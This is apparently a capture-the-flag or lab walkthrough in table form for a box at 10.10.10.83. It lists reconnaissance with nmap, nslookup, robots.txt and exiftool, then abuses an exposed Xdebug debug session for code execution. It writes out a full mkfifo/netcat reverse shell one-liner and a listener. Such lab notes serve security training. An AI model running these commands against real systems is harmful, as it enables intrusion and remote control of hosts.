|  |
| --- |
| nmap -sC -sV -oA result ipaddress  -sC (default Script)  -sV(Enumerate version)  -oA(output result to file) |
| check the result.namp |
| Check dns to get hostname  nslookup  server ipddress  127.0.0.1 (check if no revers lookup)  10.10.10.83(check if no revers lookup)  Exit |
| check apache  firefox ipddress  check for any details in the site such as image and others  check if the site has robots.txt  ipddress/robots.txt  check image via exiftool  exiftool image.jpg  use burp suit to check if the site is leaking something  check if the site is in debug mode xdebug  use burp repeater to access site debug mode by sending below command  XDEBUG\_SESSION\_START=ANYTHING  Use chrome extension xdebug to listen and intercept the traffic  Check if you can have code execution on the box  system(“ping -c 5 yourIpaddress”)  track above command  tcpdump -i tun0 icmp  If you have code execution, now lookup for reverse shell  System("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.12.118 9001 >/tmp/f")  Listen for port 9001  nc -lvnp 9001 |